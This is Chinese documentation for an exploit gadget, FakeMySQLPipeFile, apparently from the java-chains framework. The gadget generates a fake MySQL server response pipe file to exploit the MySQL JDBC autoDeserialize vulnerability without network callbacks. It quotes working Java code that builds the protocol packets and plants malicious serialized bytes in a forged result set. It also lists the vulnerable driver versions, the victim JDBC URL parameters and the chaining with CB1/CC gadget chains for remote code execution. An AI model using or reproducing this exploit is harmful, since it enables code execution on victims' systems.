- 类别:mysql 别名:— 优先级:—
- 作者:Unam4
- 依赖:无 java-chains 侧第三方依赖;受害方需为存在反序列化漏洞的 MySQL JDBC 驱动版本(mysql5:5.1.11-5.1.18/5.1.19-5.1.28/5.1.29/5.1.48/6.0.2-6.0.6;mysql8:8.0.7-8.0.20)
生成一份完整的 MySQL 服务端应答字节流并写成 pipe 文件,用于 MySQL JDBC 客户端 autoDeserialize 反序列化漏洞的离线(不出网)利用。它把内层 gadget 产出的恶意序列化字节(byte[])嵌入伪造的 SHOW SESSION STATUS 结果集中;受害方通过 NamedPipeSocketFactory 读取这份 pipe 文件、把结果集里的字节交给 ServerStatusDiffInterceptor 反序列化,从而触发 RCE。
- 入口
tags:FakeMySQLPipeFile—— 声明本 gadget 产出「Fake MySQL pipe 恶意流」,被FakeMySQLBuildPipeFile(@PayloadAnnotation(gadgetTags={"FakeMySQLPipeFile"}))识别并输出为byte[]文件。 - 衔接
nextTags:CustomBytePayload、JavaNativeDeserializePayload- 表示其内层需接一个「能产出原始恶意字节数组」的 gadget——要么直接给一段自定义字节(
CustomBytePayload),要么给一条标准 Java 原生反序列化链的序列化结果(JavaNativeDeserializePayload,如 CB1/CC 链的最终序列化字节)。
- 表示其内层需接一个「能产出原始恶意字节数组」的 gadget——要么直接给一段自定义字节(
excludes:无(其对应 Payload 标注了excludes={"NotForJavaSerializable"},即内层必须是可被 Java 原生反序列化的载荷)。
核心方法 getObject(byte[] mysqlData) 逐段拼装 MySQL 服务端与客户端「握手 → 认证 → 查询应答」的完整报文序列,其中 mysqlData 就是内层 gadget 的恶意序列化字节:
public byte[] getObject(byte[] mysqlData) throws Exception {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] greet = new GreetingMessage().getBytes();
byte[] finalPacket = PacketHelper.buildPacket(0, greet); // seq0:Server Greeting 握手包
outputStream.write(finalPacket);
...
if (this.MysqlPassword.equals("1")) {
PasswordBuf = "0000000000000000000000000000000000000000"; // 需要 password 属性时填充占位
}
a = this.MysqlVersion.equals("5.1")
? "360000018fa20200ffffff00...." + HexBin.encode(this.MysqlUsername.getBytes()) + PasswordBuf + "00007465737400"
: "4E0000018FA20A00FFFFFF00...." + HexBin.encode(this.MysqlUsername.getBytes()) + PasswordBuf + "000074657374006D7973716C5F6E61746976655F70617373776F726400";
outputStream.write(HexBin.decode(a)); // 认证结果/OK 包,内嵌用户名与库名 test
...
}可以看到:
- 握手包由
GreetingMessage生成,走PacketHelper.buildPacket(seq, payload)打包(seq 为 MySQL 包序号)。 - 认证应答包是一段硬编码 hex 模板,模板中动态拼入
HexBin.encode(MysqlUsername)(用户名)与PasswordBuf(是否含 password 属性),末尾7465737400即 ASCIItest\0——数据库名固定为test(Payload 描述强调不可改)。5.1 与 5/6/8 用不同模板与协议版本字节。
随后按版本补发若干固定包,mysql8 还要额外应答 SHOW VARIABLES:
outputStream.write(HexBin.decode("0700000200000002000000")); // OK 包
if (this.MysqlVersion.equals("8")) {
outputStream.write(HexBin.decode("65000000032f2a...53484f57205641524941424c4553")); // 回显 connector 版本 + SHOW VARIABLES
new VariablesResolver(outputStream).resolve(); // 应答一整套 server variables
outputStream.write(HexBin.decode("0f00000003534554204e414d45532075746638")); // SET NAMES utf8
outputStream.write(HexBin.decode("0700000200000002000000"));
}
outputStream.write(HexBin.decode("140000000353484F572053455353494F4E20535441545553")); // SHOW SESSION STATUS
GadgetResolver gadgetResolver = new GadgetResolver(outputStream, mysqlData);
gadgetResolver.resolve(); // 把 mysqlData 塞进结果集
return outputStream.toByteArray();关键在最后的 GadgetResolver.resolve——它伪造一个 3 列(a/b/c)结果集,并把内层恶意字节放到中间列的值里:
byte[] packet = PacketHelper.buildPacket(6, ColumnPacket.buildColumnValuesPacket(
new byte[][]{ "111".getBytes(), this.mysqlData, "222".getBytes() })); // mysqlData 作为一行数据回传
this.outputStream.write(packet);ServerStatusDiffInterceptor 拦截器在客户端处理 SHOW SESSION STATUS 结果时,若开启 autoDeserialize=true,会把这类结果值当作序列化对象反序列化,从而执行内层链。
invoke 则把内层链产出的字节交给 getObject:
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((byte[]) chain.doCreate(context)); // 内层 gadget 必须产出 byte[]
}即 nextTags 要求下游产出 byte[](自定义字节或一条 Java 反序列化链的序列化结果)。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
MysqlVersion |
MysqlVersion | 目标 MySQL JDBC 版本,决定握手/认证报文模板与协议分支。存在漏洞版本见依赖说明 | 5 |
5.1(mysql5 5.1.11-5.1.18) / 5(mysql5/6) / 8(mysql8) |
MysqlUsername |
MysqlUsername | 伪造服务端接受的连接用户名,需与受害方 JDBC URL 的 user 一致 |
mysql |
任意字符串 |
MysqlPassword |
MysqlPassword | 是否在认证包中填充 password 占位(1 则 JDBC URL 需带 password 属性,值任意) |
0 |
0(不设置) / 1(设置) |
- 面向 MySQL JDBC 客户端
autoDeserialize反序列化链:受害方 JDBC URL 需形如jdbc:mysql://xxx/test?autoDeserialize=true&statementInterceptors=...ServerStatusDiffInterceptor&user=mysql&socketFactory=...NamedPipeSocketFactory&namedPipePath=output.pcap(mysql5/6/8 拦截器与 socketFactory 全类名不同,见FakeMySQLBuildPipeFile描述)。 - 走 NamedPipe(命名管道 / 本地 pipe 文件) 而非 TCP,属于不出网利用:生成的 pipe 恶意流文件上传到目标机,客户端从 pipe 读取即可,无需回连攻击者。
- 数据库名固定
test、生成的 bin/pipe 文件会被覆盖需重新生成——这些约束来自 Payload 描述,改动会导致连接失败。 - 仅当目标 MySQL JDBC 处于存在反序列化漏洞的版本区间时可用;内层链选型需与目标 JVM/依赖匹配(如经典 CB1/CC 链的序列化字节)。
自由构件,未直接出现在预设链(usedInChains 为空)。经由「Fake MySQL 生成 Pipe 恶意流文件」Payload(FakeMySQLBuildPipeFile)驱动,内层自行接一条产出 byte[] 的反序列化链。
- 内层(
nextTags):任何产出byte[]的 gadget/链——CustomBytePayload(自定义字节)或JavaNativeDeserializePayload(如 CommonsBeanutils1 + TemplatesImpl 的序列化结果)。 - 同族(Fake MySQL 家族,读文件/SSRF 路线):FakeMySQLReadFile、FakeMySQLSSRF
- 上层 Payload:
FakeMySQLBuildPipeFile(gadgetTags={"FakeMySQLPipeFile"},excludes={"NotForJavaSerializable"}) - 参考:MySQL JDBC Fake Server 项目 https://github.com/4ra1n/mysql-fake-server